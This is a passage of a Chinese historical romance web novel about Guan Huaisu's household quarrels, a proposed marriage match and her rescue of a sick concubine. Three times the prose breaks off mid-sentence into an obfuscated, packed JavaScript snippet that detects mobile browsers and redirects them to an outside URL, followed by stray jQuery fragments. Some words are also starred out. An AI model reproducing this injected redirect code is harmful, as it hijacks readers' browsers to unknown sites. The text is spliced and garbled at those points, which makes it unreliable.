关怀素一抬头,才看到不远处那带着笑意盈盈的端庄美人,不是赵姑娘又是谁? 再回头一看,却见门口躲着一道鬼鬼祟祟的红衣身影,正是婉蓉。 得亏赵姑娘这一声,否则今日不管宋兰说啥,只怕都要被婉蓉听到了。 关怀素想到这里,心中感激赵姑娘提醒,也露出了一个笑容,说:“惭愧,方才倒不是在等赵妹妹,但是如今凑巧撞上了,便一起进去罢。” “哎呀,倒是我自作多情了。”赵白芷笑了一下,故作调侃自己的样子,她说话温和风趣,婉蓉方才本来偷听被点破还有些尴尬恼怒,但是赵白芷一副完全没察觉的样子,又是夸婉蓉的衣衫是如今最时兴的,又是夸她的头发好看、发饰精巧,没走几步路,已经把婉蓉哄得脸上带上笑容,在进门之时,已经把赵姑娘视作半个知己了。 关怀素心中暗暗为赵姑娘这八面玲珑的圆融手段震惊,赵姑娘这通身气度,和与人打交道的功夫,真正是圆融通达,便是寻常男子也远远不及。 而且她养气功夫极好,若不是阴差阳错听到她与小侯爷说话,关怀素也完全想不到赵姑娘居然还有这么一段心事。 要知道女儿家倾慕谁,其实很难掩饰,如福宁郡主倾慕太子,只怕全京师的人都看得出来,只是不说破罢了。 但是今日之前,却没有任何人怀疑过赵姑娘倾慕周乐天,由此可见,赵姑娘多么善于守住自己的心思。 如此女子,周乐天竟也没动心,可见这男女之情实在是奇奇怪怪,叫人想不明白。 关怀素心中想着,面上却什么都不显,只笑嘻嘻地说着话,一行人进去参宴。 宴罢,自然也到了告辞的时候。 “今儿日头尚早,不如我做东,我们去彭家茶楼吃点心去吧?”出门时,那长脸夫人出言相邀。 “好啊,那就多谢马夫人了!”孙大娘子非常喜悦,连声答应,这就定了接下来的行程。 关怀素心里知道,她们二人还在推进相看之事。 就这么到了茶楼雅间,里面竟有一人早已经等着。 这人是个丰腴的妇人,看着像是小吏家的娘子,一见她们就殷切问安,最后拉着关怀素的手笑嘻嘻地说:“哎呀,婉玉,好久不见你了。” 关怀素听婉淑唤她小姨母,知道这是孙大娘子娘家的表妹,便跟着行礼。 这小姨母显然是来撮合马家与关怀素相看之事的,落座后便笑的一团和气,连声说:“想来你们都见过了,不是我夸,马姐姐家中虽不在京师,但是谁不知道马刺史为官清廉,很受陛下器重,马姐姐家中的那位小郎君不但一表人才,据说诗画在滁州都是出名的……” 关怀素顿时一愣,她完全没想到孙大娘子居然给她找的是一方刺史之子! 要知道刺史作为地方官,掌一方生计,那可是实打实的实权人物。 这样的人物,娶什么人不成,怎么就看上了李家姑娘? 关怀素诧异地看孙大娘子一眼,她并不觉得孙大娘子有如此气度,给姐姐安排个好婚事,但凡她有这样的正直与好心,姐姐不会落得别庄惨死的下场。 难道是那小郎君有什么问题? 关怀素瞬间如此怀疑。 也是奇怪,那小姨母竟像是知道她的怀疑一般,居然就笑着说了一句:“哎呀呀,今儿都是自家亲戚吃茶,马姐姐不如便叫大公子上来,与大家见见?” 马夫人笑着点头,没一会儿,就有人推开这厢房的门进来了。 进门的年少郎君油头粉面,瞧着确实还算俊俏。 只是他进门的时候还算端庄,但是眼神落在李家三位姑娘脸上,视线逡巡过婉蓉与关怀素的脸上,顿时露出了一抹惊艳与贪婪之色。 马夫人咳嗽一下,马公子才慌忙收了眼神,低头对母亲请安。 关怀素心中警铃大作,这马公子别人瞧不出,她确实一眼看出来,此人好色体虚,眼下微微发青,都是亏空之相。 这不是个好人。 关怀素这边想着,那边马夫人打发问安完毕的马公子出去,转头对孙大娘子笑呵呵地说:“我们前几日才回京师,这不,这孩子也被堂兄弟们带着到处看看,也多亏了他还有个大伯,好歹这年节的长途跋涉回家,也不至于太过忙乱。” “马刺史家的大伯便是御史中丞马大人。”小姨母立刻眉飞色舞地介绍,“那都是一家子正经读书人,一门兄弟双及第,当年可是一段佳话啊!天下再没如此清贵的好人家了!” 马夫人闻言露出骄傲神色,挺直了脊背。 “哎哟,那可真是好,大姐姐,母亲对你可真好啊!”大家伙儿都没出声,倒是婉蓉听得露出心驰神往之色,酸溜溜地说。 “二妹妹这是什么意思,这亲戚之间见面,与我有什么关系?”关怀素立刻冷下脸来直言发问。 婉蓉一直看不上这个大姐姐,她心里觉得赵二郎更好,可没想到大娘子给大姐姐找的人家居然也这么好,不由自主说了几句酸话。 却没想到居然被关怀素冷着脸质问,婉蓉一愣,也生气了,冷笑一声说:“姐姐也别在这里装傻,今儿出来不就是为了姐姐的婚事么?” 这话一出,便是孙大娘子都变了脸色,冷声开口:“你胡说什么?!” “我哪里胡说,今儿这事儿不是明摆着的么?”婉蓉也不太看得起孙大娘子,这会儿还不住口,反而委屈地继续说起来。 关怀素心中恼怒,相看之事,在双方确定之前,都不能公开说,否则没成的话,对双方的名声都有妨碍,影响继续议亲。 婉蓉不可能不知道,她就是故意的。 她大约就是从小这么欺负姐姐的吧? 想到这里,关怀素脸上的笑容也立刻消失,冷声说:“哦?可这回不是谈二妹妹的婚事吗?” 她这一开口,婉蓉气得跳起来指着关怀素说:“你胡说八道什么呢?你怎么凭空污人清白!” “二妹妹也知道随口说这种话是污人清白?那你方才为何要污我的清白?”关怀素不甘示弱,重重放下手中茶杯,冷声说,“合着只许你空口白牙污蔑他人,不许他人说你?你好大的威风!” “你!”婉蓉气得大声说,“可是我说的本来就没错,今儿难道不是在为姐姐你看人家?不然好端端的,我们为何要特地过来,还让那马公子进来?” 关怀素本来想说那也可能是给你看的,但是余光瞥到婉淑与孙大娘子静**在一旁,故作焦急,但是脸上一股压不住看好戏的快乐,话到嘴边,立刻冷笑一声换成了:“哦?见男子就是特地相看了?那前几日赵二哥还来家里拜访,当时我们三个都在,怎么地,这赵二哥哥是给谁看的啊?是你还是三妹妹?” 这话一出,孙大娘子脸色一变,冷声呵斥:“住嘴!” 关怀素顺势闭嘴,婉蓉还想说话,却看到孙大娘子脸上冷的吓人,她知道自己今儿是惹祸了,她恨恨地看关怀素一眼,又气又怕,恼怒地坐了下来。 发生这种口角,今儿无论谈什么都是谈不下去了,大家勉强笑着喝完茶,点心都没动,立刻道辞离开。 孙大娘子上了马车就一路冷着脸,婉蓉心中坠坠,到底不再敢开口,关怀素则是看着外面,心下思考着,得想点办法,让孙大娘子没空拿婚事恶心自己。 就在这样的气氛之中,一家人回到了家里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183313|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了家里,刚巧遇到李珺下值回来,看到众人沉默地进门,李珺好奇地发问:“这是怎么了?今儿不是说去吃喜酒么,怎么个个看着不高兴?” “爹!今儿大姐姐在外头和人说,说二哥哥到我们后宅里来,不知是跟我们谁议亲呢!”有些话孙大娘子不好说,婉淑嘴巴一扁,却像是受了天大委屈一般,开口就对李珺哭着说,“这话要是传出去,女儿以后也没脸出门见人了……哇!” 李珺一听,顿时大惊,不可置信地看向关怀素问:“婉玉,你可真说了这话?!” 婉淑这一手颠倒黑白的功夫,十分老辣。 关怀素瞬间想,在她不知道的时候,姐姐不知道多少次承受了这种倒打一耙的冤屈和耻辱。 垂下眸子,关怀素深呼吸,而后死死咬一口舌尖,疼的立刻眼圈一红,眼泪瞬间“吧嗒吧嗒”地一连串落下。 “婉玉,你别哭,这到底是怎么回事?”李珺本来非常生气,因为家里三个女儿等人随便选,这话说出去实在是太难听了。 婉蓉今儿没在大姐姐身上讨到便宜,本来心里就憋着火,这会儿听到婉淑开口颠倒黑白,立刻便假哭着拉住李珺的手说:“爹爹,我也不活了,大姐姐今儿说这话,岂不是说的我李家姑娘巴着人家……丢**了,我也再不想出门见人了呜呜呜……” 说着,婉蓉捂着帕子,故意大哭起来。 李珺皱眉,沉声问:“都不许哭了,把话说清楚,到底是怎么回事?” “确实是我说的,赵二哥哥进了内宅见我们三人,是要选二妹妹做妻,还是选三妹妹。”关怀素含泪说完,立刻满脸泪水指着婉蓉怒声说:“可是今日母亲带我们与小姨母见面,席间有个不认识的夫人,那夫人的儿子只进门跟众人问了个好,二妹妹就胡乱攀咬,说母亲这是在商谈我的婚事!” 关怀素哭着说:“茶馆厢房隔墙有耳,旁边两侧若是有人,绝对听得清清楚楚,我若是不说话,只怕明日就是满城风雨!” 婉蓉立刻哭着说:“是,大姐姐是受委屈了,可是妹妹我坐在一边又没有招惹你,你怎地连妹妹也一股脑拖进去说?” 关怀素擦了擦脸,对李珺行礼说:“父亲明鉴,实在是婉玉和二妹妹吵嘴来去几次,二妹妹一直不停,也无人劝阻,婉玉一时心急,只能口不择言了。” 这话简直就是直指孙大娘子和婉淑在旁边看热闹了。 此话一出,本来等着女儿和婉蓉告状的孙大娘子立刻坐不住了,她却并不解释,只攥紧帕子哽咽对李珺说:“是我的不是,作为主母,看顾不好孩子们……请夫君责罚。” 孙大娘子这一请罪,关怀素心中一凛。 她早知道孙大娘子不是个简单角色,但是万万没想到,这孙大娘子居然如此厉害,这个时候若是吵嘴,或是为自己分辩,怎么都不好自证清白。 但是反而她这副样子,反而会让人心疼她不容易。 果然李珺本来带着愠怒的神色,在看到孙大娘子主动请罪之时立刻消失。 他看着孙大娘子,脑中反而回想到了这些年孙大娘子的不易,又看到婉蓉虽拿着个帕子在哭,但是脸上并无几分真切悲伤,而一切的起因,其实就是婉蓉说话不对在先。 李珺叹了口气,扶起孙大娘子,温声说:“原是我的不是,你本就是这个家的主母,家里的孩子合该都听你的教导才是,也是我这些年太疼宠这些孩子,反倒是让他们心中没了礼数,行事也益发没了章法。” 李珺说:“这样,家里三个姑娘也到了相看人家的年纪,过几日我便找一下,看看有没有懂规矩的嬷嬷,到时候请一两个老成些的好好教导她们规矩礼节,其他的,还得靠你这个母亲来看管了,免得这一日日的没大没小,出门见人都敢胡言乱语。” 说到最后一句,也是对着婉蓉说的。 婉蓉登时惴惴不安地捏着帕子,一时不敢出声。 “多谢老爷体谅!”孙大娘子脸上带着感动,被扶着站起来,李珺显然还有话要跟大娘子说,便让她们三个回屋去歇息。 第三十八章 激将 关怀素走到后院,正要进自己院子,突然听到一道凄厉的声音大喊:“你们这些丧良心的!往日我们小娘好的时候,对你们可都不薄,如今我家小娘想请个郎中,你们拦着都不许我通传!” 关怀素转身,便看到对面院子门口站着个丫鬟,看着十**岁,正哭着指着倒座那边几个婆子破口大骂。 “姑娘,对面住着的是宁小娘,说是去年才接到府里的良妾,是京师附近的农家女,年头查出来身孕没保住,一直在休养。”丁妈妈正迎出来,见此情况立刻说,“先头说这宁小娘极其受宠,差点连崔小娘的风头都压过去了,没想到如今闹到这样。” 关怀素听完,走过去远远地问:“发生什么事情了?” 那丫鬟本带着哭腔在骂人,见有人发问,心里一喜,再一看是大姑娘,丫鬟便心凉了半截。 她认得大姑娘,素来是个不顶事儿的,十足的软包,只怕也不中用。 但如今也就大姑娘能问一句,丫鬟便也只哭着说:“大姑娘,我家小娘小月子里没养好,如今还在断续落红,我日日求着想请个郎中,可这些婆子都不肯与我们通报,还拦着不许我们去前面院子找老爷……” 关怀素一听,立刻便对身边的丁妈妈说:“丁妈妈,你立刻拿钱带人去请郎中!” 又对柳叶说:“柳叶,你去前头院子里,跟父亲身边的人禀告一下,说清楚宁小娘屋里的事情。” 此话一出,那丫鬟大惊,紧接着又是狂喜,然后跪下来疯狂对着关怀素磕头,连声说:“多谢大姑娘,多谢大姑娘!” “姑娘,老爷先前吩咐过,不许小娘再轻狂**,等小娘知错了自己去请罪,才许出来……”拦着人的婆子里,有个是上次跟着去流云台寺的长脸婆子,见关怀素要管事,立刻上前轻声解释,“老爷先前发了大火,说是谁说都要打板子的!” 关怀素完全没想到居然还有这种事情,她看着地上跪着的丫鬟,到底是人命关天,关怀素立刻便说:“走,我们进去看看!” 那丫鬟本来听婆子这么说,脸上已经露出绝望之色,却没想到大姑娘竟然还要进门查看,立刻狂喜,连滚带爬地站起来,一路带着关怀素往院子里走。 “姑娘……”门口的婆子还想提醒,关怀素却摇了摇头,温声说,“多谢妈妈好意,只是父亲只说了不许出来,但也没说不许人进去,到底是人命关天的大事,我去看看,无事的。” 说着关怀素抬脚进去,入目就是一片散碎落叶,进屋后里面黑灯瞎火,那天青纱的窗户都已经褪色破溃,屋子里又冷又黑还漏风,床上被子隆起一小块,里面躺着个人。 这画面与姐姐当日垂死十分相似,叫关怀素瞬间鼻子一酸,连忙几步走过去,看到丫鬟扶起床褥上躺着的人时,关怀素吓得差点一个趔趄! 那床榻上躺着的女子,居然轮廓眉眼与姐姐和自己都有五分相似! 旁边柳叶也吓了一跳,丁妈妈早年在庄子上曾见过关怀素的母亲,这会子更是吓得脱口而出:“关娘子?” 关怀素听到丁妈妈说话,才猛地瞬间了解了,为何床上这女子与自己和姐姐有五分相似——她像的是自家阿娘。 关怀素与姐姐的眉眼有父亲李珺的影子,是更为清冷的淡眉,因此气质显得清冷一些,阿娘则是凤眼黛眉,整个人更加明艳飒爽。 眼前这个女子虽然病重,但是她听到动静微微睁开眼睛看过来的时候,整个人就像是褪色的美人图被点上了色彩一般,看着动人至极。 久病本就憔悴,但她却依然极其动人,可见好了之后,不知能有多惊人的风姿。 “小娘,大姑娘听说了你的病情,特地来看看你。”丫鬟扶着她解释。 宁小娘努力挤出一个笑来,想说什么,却额头冒出虚汗,一直打冷战,显然难受到了极点。 “小娘别说话,快些安静休息。丁妈妈,你速速出去找个好郎中来,柳叶,带我院子里的人,叫大家伙把这屋里打扫干净,外头窗户上的挡风窗帘子全都挂上,屋里炭盆都点起来!”关怀素连声吩咐完,又对那大丫鬟温声说,“你叫什么名字?” “回大姑娘,奴婢云青。”云青眼含热泪跪下说,“多谢大姑娘救我家主子,大姑娘大恩大德,云青无以为报……” 关怀素拉起她,说:“现在不是说这些的时候,一会儿郎中来了,若是还缺什么,你千万不要为难,立刻便来我院子里拿!知道吗?” 云青听到这里,心里最后一块大石放下,连忙哭着点头。 安排完,关怀素不好惊扰宁小娘,便自回素心居。 “姑娘,对面的小娘会死吗?”才进门,小荷伸头出来,脸上带着担忧问关怀素。 “不会的。”关怀素掩门,反手牵着小荷往书房里走,一边温声说,“这人啊,只要自己想活,老天爷也不会随便把她收走的。” 小荷有些懵懂地点点头,又低声说:“她好可怜……我们村里有个坏大伯,大伯的娘亲日日做活累病了,大伯不舍得银钱,就把奶奶关在茅房里,每日只给一顿饭食,也不给被褥,还骂奶奶怎么不早点死,浪费家里吃食……” 这种事情,关怀素也听说过,这世间总是不缺乏狼心狗肺的人的,哪怕是慈母自小抚养,也难保不会养出这样狼心狗肺的孩子。 “后来呢?”关怀素只继续温声问难过的小姑娘。 “后来奶奶**,有人偷偷报告了官府,坏大伯被抓走了!”小荷说到这里,露出开心的神色,声音都高了一截,说,“坏大伯被抓走,大伯娘带着两个孩子高兴的不行,没有人喜欢他,都希望他快些死在外面!” “姑娘,宁小娘会好起来吗?”小荷开心完,又担心地问。 关怀素轻叹一声,说:“这得看宁小娘自个儿了……” 宁小娘病得严重是一回事,主要是她身上没有任何求生的意志。 云青听说请大夫,喜极而泣,宁小娘自己却一直眉头都没动一下,倒像是……存了死志。 若真是如此,只怕药石难医。 关怀素叹了口气,却没想到小荷说着说着,突然说:“姑娘今日身上好香!” 关怀素一低头,嗅到一股浅淡清晰的龙涎香的味道。 她和宋兰用的香粉都是寻常之物,自然比不上龙涎香余韵悠长。到了夜间香粉气味散尽,竟让这龙涎香的最后一丝味道凸显出来。 好在已经回屋了。 关怀素松了口气,又想到白日小侯爷那张全无血色的容颜来,干脆便去了书房又默了一些调理的药膳,前后细细密密写满了随症状如何搭配药物调理饮食与平素要注意何事。 她快写完的时候,柳叶忙回来了,找过来就看到她写的密密麻麻的几张纸,凑过来一看便了然地说:“姑娘在给侯爷写调理方子呢?” “是啊。”关怀素抄完最后几句话,才轻叹一口气,说,“那药吃起来烧心,搭配这些调理方子,才能舒服些,他如今瞧着一阵风都能吹倒,精细些总是好些。” 说完,关怀素轻叹一声,低声感慨:“世人都说他生而荣华富贵,我瞧着他反倒是不如普通人自在。” “姑娘你抄好,明儿个我就亲自去给侯爷送去。”柳叶拿起纸晾干墨迹,说,“当年咱们在北疆,还多亏侯爷救了性命呢。如今姑娘帮他,也是全了这份恩情。” “没错,我正是如此想。”关怀素颔首。 两人说着话,丁妈妈回来了,带回了夕食,也带回来了关于宁小娘的事儿。 “姑娘,听说宁小娘之所以被禁足,是因为先前与老爷吵架,说肚子里的孩子是被崔小娘害死的!”丁妈妈一进门,一边摆饭一边说。 关怀素一听,愣了一下,忙问:“怎么回事?” 丁妈妈便从头说起来。 原来对面宁小娘先头是京师八宝园一带的农家女,生得格外漂亮,可惜命苦,偏生在看人家的时候,家里爹出事儿了,摔断了腿。 恰好李珺与友人踏青,一见钟情,便亲自登门求娶。 为了家里生计,宁小娘就这么入了李家。 她去年夏日进的门,据说自那时候开始,李珺就免了宁小娘所有请安,院子里都由她做主,三日回门亲自陪着宁小娘回家,竟仿佛不像是纳了小娘,倒像是娶了正头娘子。 那院子门关上,不像是新妇入门,倒像是单门独户地与家里老爷过起了日子。 “那大娘子与崔小娘也能忍?”柳叶诧异地问。 “哦哟,何止是能忍!据说当日有什么好东西都主动送给宁小娘,宁小娘心中感激,还常在老爷面前说她们二人的好话。”丁妈妈摇头感慨说,“宁小娘也太实在了些,她当时只觉得家里人都特别和睦,怀孕之后也没想过其他的,只照常地吃用,当时她身边的一个妈妈说有个方子对孩子特别好,她竟也信了,日日吃着,没多久孩子就没了。” 丁妈妈说完,感慨道:“宁小娘真是太年轻了,来历不明的药方子也敢吃,后来郎中来诊脉,看了那方子,跟宁小娘说,那方子里有几味药材十分寒凉,妇人怀孕是最忌讳的。宁小娘想找那妈妈算账,那妈妈却早收拾包袱去崔小娘的庄子上做管事了……” 也就是到这个时候,淳朴的宁小娘才明白自己上当了。 但是她一个农家女,能怎么办?只能哭着把这一切告诉了李珺,宁小娘心心念念,觉得一直如此疼爱她的夫君一定会帮自己,帮他们的孩子。 却不知道是怎么回事,李珺听完大怒之后前去找崔小娘,大家都以为崔小娘这次要遭了,可没想到崔小娘不知做了什么,李珺没发火不算,还避着宁小娘。 等到宁小娘忍不住哭着去前院找李珺的时候,却刚巧撞上李珺正在与同僚会面。 家宅不宁的事情竟闹到了客人眼前,李珺大怒,回来之后申斥了宁小娘,呵斥问宁小娘可知错。 宁小娘心中愤恨,哪里肯认错,竟是昂着脖子与李珺大骂起来。 “宁小娘与老爷大吵一架,说——你别以为我不知道,你娶我就是因为我像先夫人!你与先夫人置气,害她在庄子上养胎、生产后没有良医惨死,我都听说了!难道你也要这样对我?!”丁妈妈说到这里,都忍不住嘶了口气。 别说是她,便是关怀素都忍不住抽了一口凉气。 一是惊诧宁小娘刚烈至极的脾性,二是关怀素意识到了一件事情——宁小娘如此说,许是知道一些当年母亲之死的细枝末节。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183314|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲着这个,关怀素说什么也要把宁小娘从鬼门关拉回来! “宁小娘的身体……郎中怎么说?”关怀素问柳叶。 “郎中说,宁小娘是忧思过度、气血两亏,得先调整好心情,吃药才有用……”丁妈妈有些忧虑地说,“姑娘,方才我看云青给宁小娘喂药,也是喂一半撒一半的,若一直这样子,只怕她真的过不了这个冬天。” 关怀素深呼吸一下,想了想,站起来说:“走,我们去看看。” 这会儿才将将掌灯,宁小娘的院子门虚掩着,关怀素安排的人都在洒扫,她一路径直进了屋子。 屋子里燃着暖香,破了的窗纱也临时盖了挡风被,屋里燃着几支蜡烛,明亮温暖,与方才凄苦截然不同。 云青正给宁小娘喂水,却根本喂不进去,只能用帕子垫在下头,免得沾湿了寝衣。 “小娘如今如何了?”关怀素走过去轻声问,按住了想行礼的云青。 “稍微好了一些,只是汤药都很难喂进去……”云青眼里含着泪水,轻声说。 “可惜了,若是小娘真一直喝不下汤药,只怕今年冬天就熬不过了吧?”关怀素温声说,像是在闲聊家常一样。 云青虽不明白大姑娘为何突然如此说,但是她心里也苦,便擦着眼泪哽咽地说:“可怎么办啊,小娘整日昏昏沉沉的,饭也吃不下、药也吃不下……我真的怕……” “是啊,好好的人,吃不下都熬不住,更别提这本身就虚的人了。”关怀素温声说着,突然说,“其实我早年间也遇到过这样的事情。” 云青一愣,茫然地“啊?”了一声。 关怀素说:“是真的,那家农家媳妇与丈夫感情甚笃,怀了孩子时,因与婆婆吵架气得太厉害了,没保住胎儿,后来还被家里郎君指责,她一时想不过,就吊**。” 云青不明白关怀素为啥突然和她说这个,茫然地说:“怎、怎么就至于这样呢?” “是啊,怎么就至于这样呢?”关怀素感慨地说,“大概她当时心里只想着,丈夫如此爱我,怎地对我如此冷酷,既然他不爱我了,我便死给他看,让他后悔。但是云青……” 关怀素看着云青,轻声问:“你知道后来那媳妇**之后,发生了什么事情吗?” “发、发生了什么?”云青问。 “那媳妇子**,她男人掉了两滴泪,也有人说了几句婆婆不对,对媳妇太刻薄了。”关怀素冷声说,“可是这也就是十天半月的功夫,后来一年后,那男人娶了新妇,生了孩子,那一家人每天欢声笑语,过得好不快活。倒是那媳妇的娘家人,她老娘哭得眼睛半瞎,她爹气恨男人家薄情寡义,带着儿子上门与男人打架,反被男人一家打了一顿,回来老父气不过女儿冤死,竟然生生气**,兄弟也被打的太狠落下病根,竟连重活儿也做不了了,没几年,家里便败落到卖儿卖女的地步,一家子骨肉离散了……” “天啊,那家人怎么那么狠,这可是亲家,**怎么都能下死手啊?!”云青听到这里,惊恐不已,连声说,“那媳妇死后有灵,只怕都要变成厉鬼回来报仇吧?!” “可惜啊,世上没有厉鬼不知道,但是那媳妇死都**,应当也不知道这身后事了吧。”关怀素轻声说,“只是不知道她若是泉下有知,会不会后悔自己求死行为。” “肯定会后悔啊!”云青连声说,“哪怕与那男人恩断义绝,好歹也不至于叫亲者痛仇者快吧!” “好一个亲者痛仇者快!”关怀素击掌,说,“可怜世上许多人,都在做亲者痛仇者快的事情。” 她说完,说:“天色晚了,我便回去了。” 云青不明白大姑娘好端端地过来与自己说这一番话到底是怎么回事,起身送关怀素,转身回屋就看到,床榻上几个月没动静的小娘,突然挣扎着趴在床边。 “小娘!小娘你醒了?!”云青大惊,还以为宁小娘是不舒服,连忙跑过去扶着她问,“小娘你可是哪里不舒服,可要看郎中?” “我、我饿了!”宁小娘枯瘦的手一把反手握住云青,嘶哑着嗓子,像是逼到绝境的野兽一般抓着云青,喘着气,虚弱又恶狠狠地说,“我要吃东西。” 云青一愣,紧接着狂喜,连声说:“哎!哎!大姑娘让厨房送来了参鸡汤,我放在炭盆上一直暖着,我这就给小娘你拿!!!” 云青端来温着的参鸡汤,宁小娘一口一口吞下去,足足喝了两碗,到后来甚至不需要云青喂,自己抖着手,一勺一勺地吃下去。 看得出来,她吃得十分艰难,但是宁小娘一直咬牙吃饱之后,才闭上眼睛,准备好好休息。 她还是很痛苦,想到腹中那个孩儿蹬腿的动静、想到自己如此期待第一个孩子……眼角还是有泪水成线一般落下。 但是她不能再哭了。 否则,大姑娘口中那媳妇一家,就是她的未来。 家里的父亲腿虽好了,但是到底做不得重活了,家里年迈老母和年幼弟妹如今都只能等着她、靠着她,若她不在了,他们一家只怕也要散了。 想到这里,宁小娘含着泪水,闭着眼睛,强迫自己入睡。 她要好好吃饭、好好睡觉,她要……好起来。 第三十九章 暗涌 关怀素回来用了夕食,便拿着杯饮子慢慢轻啜,一边沉默地思考,柳叶便问:“姑娘可是在为宁小娘的事情担心?” “不是,这事儿得她自己想通,我想的是父亲今儿说,让孙大娘子日后教导婉蓉的事。”关怀素轻声说,“父亲对孙大娘子愈发信任了。” 孙大娘子不是什么高门大户的主母,本身就是出身小户,放在她手下教导,并不能给家中女儿多增加什么光彩。而李家后宅,原先就是最不合礼数的,且不合礼数了十几年了。 崔小娘这些年都是自己教养一双儿女,李珺难道不知道把婉蓉送去大娘子那儿,会让崔小娘不开心、憋屈吗? 他定然是清楚的,可是他今儿却依然这么做了,这固然有婉蓉确实行事有些嚣张跋扈的关系,但是确实也反应了父亲其实也十分信重孙大娘子。 这对关怀素来说是个坏消息。 因为孙大娘子最近在打她婚事的主意,而今孙大娘子愈发得到父亲信任,愈发掌握后宅所有人的未来,那么对关怀素来说,越是受困。 “姑娘,时候不早了,可要泡脚准备安置了?”关怀素正在和柳叶说着这话,丁妈妈进来问。 看到关怀素还坐椅子上拿着紫苏饮子在喝,她愣了一下,说:“大晚上的,姑娘怎么衣衫首饰都没脱,还有什么事儿吗?” 柳叶就把方才关怀素说担心孙大娘子得势的事情给丁妈妈说了。 “哎哟哟我的好姑娘,我还以为什么大事,把我们诸葛在世一般的姑娘都难住了呢!唬我一跳!”丁妈妈摸着胸口,定了定神才凑过来,轻声对关怀素说,“姑娘,你放心,那些婆子都跟我说了,崔小娘也不是简单货色,西院外头伺候的杂役婆子跟我说,那崔小娘每月光做肚兜都不知花费多少钱财……哎呀呀,总之姑娘你等着,那崔小娘保准得扳回一城的!” 丁妈妈眉飞色舞说到一半,大概是突然想起来,面前的人不是乡下不讲究的寡妇老妪,而是千金闺秀,有些糟污下流话可不能在姑娘面前浑说,于是说到一半,生生止住了蓬勃的嚼舌根的欲望。 并且及时止住之后,丁妈妈还有些臊眉耷眼不好意思地说:“姑娘,我老婆子嘴上没个把门的,您别见怪。” 她以为关怀素会羞恼,斥责她什么话都胡咧咧,却没想到关怀素听着却八风不动,只憋着笑啜饮一口清茶。 旁边的柳叶倒是立刻跟着眉飞色舞起来,压低声音问丁妈妈:“妈妈,你打听到啥了?那崔小娘三十的人了,平常人家这个年纪的妾室应当都很少侍寝了,她难道还……” 丁妈妈看了一眼,发现关怀素虽不出声,但是也没阻止,顿时心中一定,立刻便压抑不住,挤眉弄眼地说:“哎哟,别看崔小娘过几年都是要做奶奶的人,她可下功夫呢,洗衣婆子说,崔小娘那一柜子的肚兜,好家伙,比寻常店铺里的款式还多!而且啊……” 丁妈妈犹豫了一下,到底忍不住,挤眉弄眼压低声音说:“我听西院外头伺候的老婆子说,她有次夜里值夜,刚巧里屋的婆子休假,换成她进去伺候,你们猜她听到什么?” “听到啥了?”柳叶紧张又好奇地问。 “听到那崔小娘声音娇的要滴出水,轻声喊老爷“珺哥哥,你看妙人的腰是不是不如当年细了?”。”丁妈妈学着那拉长的声调说话,并不娇媚,反而显得又几分滑稽。 但是想想,暖屋熏香、高床软枕,风韵不减的崔小娘放下一头乌发趴在床褥之中,露出大片雪白的背、拉长声音让人看她的腰,却只能衬的背后肚兜的细绳愈发色彩明艳……在场三人都想到那画面,顿时都觉得一股子道不尽的勾引人。 “哎哟,这真是……”柳叶就完全想到了那画面,忍不住低呼了一声,脸都羞飞起了红霞。 关怀素也是没想到,崔小娘白日虽看着妩媚了些,但是举止一直算得上是落落大方,没想到私下竟然是这样的。 “老婆子嘴碎!”丁妈妈说完觉得在两个未出阁的女儿家面前说这种私房话有些不太对路,于是作势立刻给了自己一巴掌,嘴里道恼。 “没事儿。”关怀素温声说:“我已经听明白了。” 她顿了顿,又说:“崔小娘能盛宠这些年,应当不只这点手段,先看看她如何行事吧。” 毕竟钟妈妈与崔小娘相处过一年多,到现在还会痛骂崔妙人是个狐狸精……想来崔小娘应该自有秘而不宣的本事,应当也不会那么容易被压下去。 反正最着急的怎么也不该是她。 想清楚之后,关怀素终于结束了这格外繁忙的一天,洗漱休息了。 而那边,西院里头,崔小娘得知婉蓉明儿开始要归大娘子管教的时候,气得“啪”地放下碗,连燕窝也不吃了,怒声问婉蓉:“你就答应了?!” 婉蓉也委屈得很,坐在椅子上发脾气说:“爹吩咐完就让我们走了,说是要和大娘子说话,哪里有我说话的份!” 崔小娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183315|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气地捏着帕子站起来,在屋里来回走了好几圈,心里这股子邪火还没消下去,偏婉蓉又说:“小娘,爹爹说话不算话,他明明跟我说过,在李家,小娘就是我的娘,我只管跟着小娘教养就好!怎地如今都不算话了!” 这话无疑是火上浇油,崔小娘气得深呼吸了半晌,才算是勉强让火烧一般的脑子稍微清静下来。 她压着怒声说:“你个作死的,这会儿说这个话有什么意思?你白日怎地不跟你爹说?” 